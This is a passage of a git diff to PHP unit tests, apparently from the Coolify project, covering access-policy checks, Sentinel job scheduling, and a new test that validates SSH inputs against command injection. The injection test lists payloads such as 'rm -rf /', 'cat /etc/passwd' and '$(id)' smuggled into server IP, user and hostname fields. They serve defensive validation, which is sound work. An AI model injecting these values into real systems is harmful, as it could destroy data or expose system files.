+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdmin')->andReturn(false);
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->create($user))->toBeFalse();
+});
+
+it('allows team admin to update shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->update($user, $model))->toBeTrue();
+});
+
+it('denies team member to update shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->update($user, $model))->toBeFalse();
+});
+
+it('allows team admin to delete shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->delete($user, $model))->toBeTrue();
+});
+
+it('denies team member to delete shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->delete($user, $model))->toBeFalse();
+});
+
+it('denies restore of shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->restore($user, $model))->toBeFalse();
+});
+
+it('denies force delete of shared environment variable', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->forceDelete($user, $model))->toBeFalse();
+});
+
+it('allows team admin to manage environment', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(true);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->manageEnvironment($user, $model))->toBeTrue();
+});
+
+it('denies team member to manage environment', function () {
+ $user = Mockery::mock(User::class)->makePartial();
+ $user->shouldReceive('isAdminOfTeam')->with(1)->andReturn(false);
+
+ $model = new class
+ {
+ public $team_id = 1;
+ };
+
+ $policy = new SharedEnvironmentVariablePolicy;
+ expect($policy->manageEnvironment($user, $model))->toBeFalse();
+});
diff --git a/tests/Unit/PrivateKeyStorageTest.php b/tests/Unit/PrivateKeyStorageTest.php
index 00f39e3df..09472604b 100644
--- a/tests/Unit/PrivateKeyStorageTest.php
+++ b/tests/Unit/PrivateKeyStorageTest.php
@@ -112,7 +112,7 @@ public function it_throws_exception_when_storage_directory_is_not_writable()
);
$this->expectException(\Exception::class);
- $this->expectExceptionMessage('SSH keys storage directory is not writable');
+ $this->expectExceptionMessage('SSH keys storage directory is not writable. Run on the host: sudo chown -R 9999 /data/coolify/ssh && sudo chmod -R 700 /data/coolify/ssh && docker restart coolify');
PrivateKey::createAndStore([
'name' => 'Test Key',
diff --git a/tests/Unit/ScheduledJobManagerLockTest.php b/tests/Unit/ScheduledJobManagerLockTest.php
index 3f3ae593a..577730f47 100644
--- a/tests/Unit/ScheduledJobManagerLockTest.php
+++ b/tests/Unit/ScheduledJobManagerLockTest.php
@@ -24,7 +24,7 @@
$expiresAfterProperty->setAccessible(true);
$expiresAfter = $expiresAfterProperty->getValue($overlappingMiddleware);
- expect($expiresAfter)->toBe(60)
+ expect($expiresAfter)->toBe(90)
->and($expiresAfter)->toBeGreaterThan(0, 'expireAfter must be set to prevent stale locks');
// Check releaseAfter is NOT set (we use dontRelease)
diff --git a/tests/Unit/ServerManagerJobSentinelCheckTest.php b/tests/Unit/ServerManagerJobSentinelCheckTest.php
index 0f2613f11..dc28d18fe 100644
--- a/tests/Unit/ServerManagerJobSentinelCheckTest.php
+++ b/tests/Unit/ServerManagerJobSentinelCheckTest.php
@@ -1,32 +1,31 @@
instance_timezone = 'UTC';
$this->app->instance(InstanceSettings::class, $settings);
- // Create a mock server with sentinel enabled
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('isSentinelEnabled')->andReturn(true);
+ $server->shouldReceive('isSentinelLive')->andReturn(true);
$server->id = 1;
$server->name = 'test-server';
$server->ip = '192.168.1.100';
@@ -34,29 +33,76 @@
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
- // Mock the Server query
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
Server::shouldReceive('get')->andReturn(collect([$server]));
- // Execute the job
$job = new ServerManagerJob;
$job->handle();
- // Assert CheckAndStartSentinelJob was dispatched for the sentinel-enabled server
- Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) {
- return $job->server->id === $server->id;
- });
+ // Hourly CheckAndStartSentinelJob dispatch was removed — ServerCheckJob handles it when Sentinel is out of sync
+ Queue::assertNotPushed(CheckAndStartSentinelJob::class);
});
-it('does not dispatch CheckAndStartSentinelJob for servers without sentinel enabled', function () {
- // Mock InstanceSettings
+it('skips ServerConnectionCheckJob when sentinel is live', function () {
+ $settings = Mockery::mock(InstanceSettings::class);
+ $settings->instance_timezone = 'UTC';
+ $this->app->instance(InstanceSettings::class, $settings);
+
+ $server = Mockery::mock(Server::class)->makePartial();
+ $server->shouldReceive('isSentinelEnabled')->andReturn(true);
+ $server->shouldReceive('isSentinelLive')->andReturn(true);
+ $server->id = 1;
+ $server->name = 'test-server';
+ $server->ip = '192.168.1.100';
+ $server->sentinel_updated_at = Carbon::now();
+ $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
+ $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
+
+ Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
+ Server::shouldReceive('get')->andReturn(collect([$server]));
+
+ $job = new ServerManagerJob;
+ $job->handle();
+
+ // Sentinel is healthy so SSH connection check is skipped
+ Queue::assertNotPushed(ServerConnectionCheckJob::class);
+});
+
+it('dispatches ServerConnectionCheckJob when sentinel is not live', function () {
+ $settings = Mockery::mock(InstanceSettings::class);
+ $settings->instance_timezone = 'UTC';
+ $this->app->instance(InstanceSettings::class, $settings);
+
+ $server = Mockery::mock(Server::class)->makePartial();
+ $server->shouldReceive('isSentinelEnabled')->andReturn(true);
+ $server->shouldReceive('isSentinelLive')->andReturn(false);
+ $server->id = 1;
+ $server->name = 'test-server';
+ $server->ip = '192.168.1.100';
+ $server->sentinel_updated_at = Carbon::now()->subMinutes(10);
+ $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
+ $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
+
+ Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
+ Server::shouldReceive('get')->andReturn(collect([$server]));
+
+ $job = new ServerManagerJob;
+ $job->handle();
+
+ // Sentinel is out of sync so SSH connection check is needed
+ Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) {
+ return $job->server->id === $server->id;
+ });
+});
+
+it('dispatches ServerConnectionCheckJob when sentinel is not enabled', function () {
$settings = Mockery::mock(InstanceSettings::class);
$settings->instance_timezone = 'UTC';
$this->app->instance(InstanceSettings::class, $settings);
- // Create a mock server with sentinel disabled
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('isSentinelEnabled')->andReturn(false);
+ $server->shouldReceive('isSentinelLive')->never();
$server->id = 2;
$server->name = 'test-server-no-sentinel';
$server->ip = '192.168.1.101';
@@ -64,78 +110,14 @@
$server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
$server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
- // Mock the Server query
Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
Server::shouldReceive('get')->andReturn(collect([$server]));
- // Execute the job
$job = new ServerManagerJob;
$job->handle();
- // Assert CheckAndStartSentinelJob was NOT dispatched
- Queue::assertNotPushed(CheckAndStartSentinelJob::class);
-});
-
-it('respects server timezone when scheduling sentinel checks', function () {
- // Mock InstanceSettings
- $settings = Mockery::mock(InstanceSettings::class);
- $settings->instance_timezone = 'UTC';
- $this->app->instance(InstanceSettings::class, $settings);
-
- // Set test time to top of hour in America/New_York (which is 17:00 UTC)
- Carbon::setTestNow('2025-01-15 17:00:00'); // 12:00 PM EST (top of hour in EST)
-
- // Create a mock server with sentinel enabled and America/New_York timezone
- $server = Mockery::mock(Server::class)->makePartial();
- $server->shouldReceive('isSentinelEnabled')->andReturn(true);
- $server->id = 3;
- $server->name = 'test-server-est';
- $server->ip = '192.168.1.102';
- $server->sentinel_updated_at = Carbon::now();
- $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'America/New_York']);
- $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
-
- // Mock the Server query
- Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
- Server::shouldReceive('get')->andReturn(collect([$server]));
-
- // Execute the job
- $job = new ServerManagerJob;
- $job->handle();
-
- // Assert CheckAndStartSentinelJob was dispatched (should run at top of hour in server's timezone)
- Queue::assertPushed(CheckAndStartSentinelJob::class, function ($job) use ($server) {
+ // Sentinel is not enabled so SSH connection check must run
+ Queue::assertPushed(ServerConnectionCheckJob::class, function ($job) use ($server) {
return $job->server->id === $server->id;
});
});
-
-it('does not dispatch sentinel check when not at top of hour', function () {
- // Mock InstanceSettings
- $settings = Mockery::mock(InstanceSettings::class);
- $settings->instance_timezone = 'UTC';
- $this->app->instance(InstanceSettings::class, $settings);
-
- // Set test time to middle of the hour (not top of hour)
- Carbon::setTestNow('2025-01-15 12:30:00');
-
- // Create a mock server with sentinel enabled
- $server = Mockery::mock(Server::class)->makePartial();
- $server->shouldReceive('isSentinelEnabled')->andReturn(true);
- $server->id = 4;
- $server->name = 'test-server-mid-hour';
- $server->ip = '192.168.1.103';
- $server->sentinel_updated_at = Carbon::now();
- $server->shouldReceive('getAttribute')->with('settings')->andReturn((object) ['server_timezone' => 'UTC']);
- $server->shouldReceive('waitBeforeDoingSshCheck')->andReturn(120);
-
- // Mock the Server query
- Server::shouldReceive('where')->with('ip', '!=', '1.2.3.4')->andReturnSelf();
- Server::shouldReceive('get')->andReturn(collect([$server]));
-
- // Execute the job
- $job = new ServerManagerJob;
- $job->handle();
-
- // Assert CheckAndStartSentinelJob was NOT dispatched (not top of hour)
- Queue::assertNotPushed(CheckAndStartSentinelJob::class);
-});
diff --git a/tests/Unit/ServerQueryScopeTest.php b/tests/Unit/ServerQueryScopeTest.php
index 8ab0b8b10..0d1e7729c 100644
--- a/tests/Unit/ServerQueryScopeTest.php
+++ b/tests/Unit/ServerQueryScopeTest.php
@@ -3,7 +3,6 @@
use App\Enums\ProxyTypes;
use App\Models\Server;
use Illuminate\Database\Eloquent\Builder;
-use Mockery;
it('filters servers by proxy type using whereProxyType scope', function () {
// Mock the Builder
diff --git a/tests/Unit/ServiceRequiredPortTest.php b/tests/Unit/ServiceRequiredPortTest.php
index 2ad345c44..6ef5bf030 100644
--- a/tests/Unit/ServiceRequiredPortTest.php
+++ b/tests/Unit/ServiceRequiredPortTest.php
@@ -2,7 +2,6 @@
use App\Models\Service;
use App\Models\ServiceApplication;
-use Mockery;
it('returns required port from service template', function () {
// Mock get_service_templates() function
diff --git a/tests/Unit/SshCommandInjectionTest.php b/tests/Unit/SshCommandInjectionTest.php
new file mode 100644
index 000000000..e7eeff62d
--- /dev/null
+++ b/tests/Unit/SshCommandInjectionTest.php
@@ -0,0 +1,125 @@
+validate('ip', '192.168.1.1', function () use (&$failed) {
+ $failed = true;
+ });
+ expect($failed)->toBeFalse();
+});
+
+it('accepts a valid IPv6 address', function () {
+ $rule = new ValidServerIp;
+ $failed = false;
+ $rule->validate('ip', '2001:db8::1', function () use (&$failed) {
+ $failed = true;
+ });
+ expect($failed)->toBeFalse();
+});
+
+it('accepts a valid hostname', function () {
+ $rule = new ValidServerIp;
+ $failed = false;
+ $rule->validate('ip', 'my-server.example.com', function () use (&$failed) {
+ $failed = true;
+ });
+ expect($failed)->toBeFalse();
+});
+
+it('rejects injection payloads in server ip', function (string $payload) {
+ $rule = new ValidServerIp;
+ $failed = false;
+ $rule->validate('ip', $payload, function () use (&$failed) {
+ $failed = true;
+ });
+ expect($failed)->toBeTrue("ValidServerIp should reject: $payload");
+})->with([
+ 'semicolon' => ['192.168.1.1; rm -rf /'],
+ 'pipe' => ['192.168.1.1 | cat /etc/passwd'],
+ 'backtick' => ['192.168.1.1`id`'],
+ 'dollar subshell' => ['192.168.1.1$(id)'],
+ 'ampersand' => ['192.168.1.1 & id'],
+ 'newline' => ["192.168.1.1\nid"],
+ 'null byte' => ["192.168.1.1\0id"],
+]);
+
+// -------------------------------------------------------------------------
+// Server model setter casts
+// -------------------------------------------------------------------------
+
+it('strips dangerous characters from server ip on write', function () {
+ $server = new App\Models\Server;
+ $server->ip = '192.168.1.1;rm -rf /';
+ // Regex [^0-9a-zA-Z.:%-] removes ; space and /; hyphen is allowed
+ expect($server->ip)->toBe('192.168.1.1rm-rf');
+});
+
+it('strips dangerous characters from server user on write', function () {
+ $server = new App\Models\Server;
+ $server->user = 'root$(id)';
+ expect($server->user)->toBe('rootid');
+});
+
+it('strips non-numeric characters from server port on write', function () {
+ $server = new App\Models\Server;
+ $server->port = '22; evil';
+ expect($server->port)->toBe(22);
+});
+
+// -------------------------------------------------------------------------
+// escapeshellarg() in generated SSH commands (source-level verification)
+// -------------------------------------------------------------------------
+
+it('has escapedUserAtHost private static helper in SshMultiplexingHelper', function () {
+ $reflection = new ReflectionClass(SshMultiplexingHelper::class);
+ expect($reflection->hasMethod('escapedUserAtHost'))->toBeTrue();
+
+ $method = $reflection->getMethod('escapedUserAtHost');
+ expect($method->isPrivate())->toBeTrue();
+ expect($method->isStatic())->toBeTrue();
+});
+
+it('wraps port with escapeshellarg in getCommonSshOptions', function () {
+ $reflection = new ReflectionClass(SshMultiplexingHelper::class);
+ $source = file_get_contents($reflection->getFileName());
+
+ expect($source)->toContain('escapeshellarg((string) $server->port)');
+});
+
+it('has no raw user@ip string interpolation in SshMultiplexingHelper', function () {
+ $reflection = new ReflectionClass(SshMultiplexingHelper::class);
+ $source = file_get_contents($reflection->getFileName());
+
+ expect($source)->not->toContain('{$server->user}@{$server->ip}');
+});
+
+// -------------------------------------------------------------------------
+// ValidHostname rejects shell metacharacters
+// -------------------------------------------------------------------------
+
+it('rejects semicolon in hostname', function () {
+ $rule = new ValidHostname;
+ $failed = false;
+ $rule->validate('hostname', 'example.com;id', function () use (&$failed) {
+ $failed = true;
+ });
+ expect($failed)->toBeTrue();
+});
+
+it('rejects backtick in hostname', function () {
+ $rule = new ValidHostname;
+ $failed = false;
+ $rule->validate('hostname', 'example.com`id`', function () use (&$failed) {
+ $failed = true;
+ });
+ expect($failed)->toBeTrue();
+});